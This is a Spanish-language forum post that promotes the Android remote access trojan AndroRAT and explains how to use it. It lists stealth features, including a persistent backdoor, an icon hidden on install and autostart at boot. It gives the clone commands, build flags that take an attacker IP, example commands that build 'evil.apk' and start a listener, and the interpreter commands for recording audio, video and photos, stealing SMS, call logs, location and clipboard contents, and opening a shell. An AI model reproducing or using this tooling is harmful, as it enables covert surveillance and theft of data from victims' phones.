Nota:
* Funcionará en dispositivos desde Android 4.1 (Jelly Bean) hasta Android 9.0 (Oreo) (API 16 a API 28)
* También funciona en Android 10, pero algunos de los comandos del intérprete serán inestables.
* Alguien lo analizo en Virus Total por consiguiente ya es detectado por la mayoría de los antivirus o sus variantes.
* Esto lo copié de un repositorio en Github de Sadman300, para mí está limpio, pero recomiendo tomar sus previsiones.
Características:
- Puerta trasera persistente completa
- Icono invisible al instalar
- APK de peso ligero que se ejecuta 24/7 en segundo plano
- La aplicación se inicia automáticamente al arrancar
- Puede grabar audio, video, tomar fotos de ambas cámaras
- Examinar registros de llamadas y registros de SMS
- Obtenga la ubicación actual, los detalles de la tarjeta SIM, la IP, la dirección MAC del dispositivo
Requisitos previos
AndroRAT requiere Python (3.6-3.8) y JAVA 8 (o Android Studio)
Instalación
Paso 1
- Clonar el repositorio usando Git
Código: Seleccionar todo
git clone https://github.com/karma9874/AndroRAT.git
Código: Seleccionar todo
pip install colorama
Al clonar el repositorio usando Git bash en windows, puedes obtener el siguiente error:
Código: Seleccionar todo
error: unable to create file : Filename too long
Puedes evitarlo estableciendo core.longpaths como true.
Debes ejecutar Git bash con privilegios de administrador.
Código: Seleccionar todo
git config --system core.longpaths true
Uso (Windows y Linux)
Nota:
Para obtener el panel de control de la aplicación, marque *#*#1337#*#* (Por ahora solo tiene dos opciones Restart Activityy Uninstall)
Para usar esta función en algunos dispositivos, debe habilitar la opción display pop-up windows running in backgroundde la configuración.
-- build – para la construcción de android apk
-- shell – obteniendo un shell interactivo del dispositivo
Modo build:
Código: Seleccionar todo
Usage: python androRAT.py --build [flags] Flags: -i, --ip Attacker IP address (required) -p, --port Attacker port number (required) -o, --output Name for the apk file (optional)
Modo shell
Código: Seleccionar todo
Usage: python androRAT.py --shell [flags] Flags: -i, --ip Listner IP address -p, --port Listner port number
Comandos que pueden funcionar con el intérprete
Código: Seleccionar todo
deviceInfo --> returns basic info of the device camList --> returns cameraID takepic [cameraID] --> Takes picture from camera startVideo [cameraID] --> starts recording the video stopVideo --> stop recording the video and return the video file startAudio --> starts recording the audio stopAudio --> stop recording the audio getSMS [inbox|sent] --> returns inbox sms or sent sms in a file getCallLogs --> returns call logs in a file shell --> starts a sh shell of the device vibrate [number_of_times] --> vibrate the device number of time getLocation --> return the current location of the device getIP --> returns the ip of the device getSimDetails --> returns the details of all sim of the device clear --> clears the screen getClipData --> return the current saved text from the clipboard getMACAddress --> returns the mac address of the device exit --> exit the interpreter
Código: Seleccionar todo
get [full_file_path] --> donwloads the file
Ejemplos
- Para construir el apk: python androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk
- Para conseguir el intérprete: python androRAT.py --shell -i 0.0.0.0 -p 8000
Ejemplos del Intérprete
Generando el APK:
Generar APK de RAT
Algunos comandos del intérprete:
Comandos Intérprete
Esta herramienta fue diseñada para dar el control del sistema Android de forma remota y recuperar información de él. Androrat es una aplicación cliente/servidor desarrollada en Java Android para el lado del cliente y el Servidor está en Python
No me siento responsable por cualquier uso malicioso de la aplicación.
P.D: Espero esta herramienta les sea de utilidad, trate de encontrar la más actualizada para ustedes, Confió en que no será usada con fines irresponsables por decirlo de alguna manera.Esta herramienta fue diseñada para dar el control del sistema Android de forma remota y recuperar información de él. Androrat es una aplicación cliente/servidor desarrollada en Java Android para el lado del cliente y el Servidor está en Python
No me siento responsable por cualquier uso malicioso de la aplicación.
Es un placer volver al foro y encontrarme con tantos cambios por de más extraordinarios.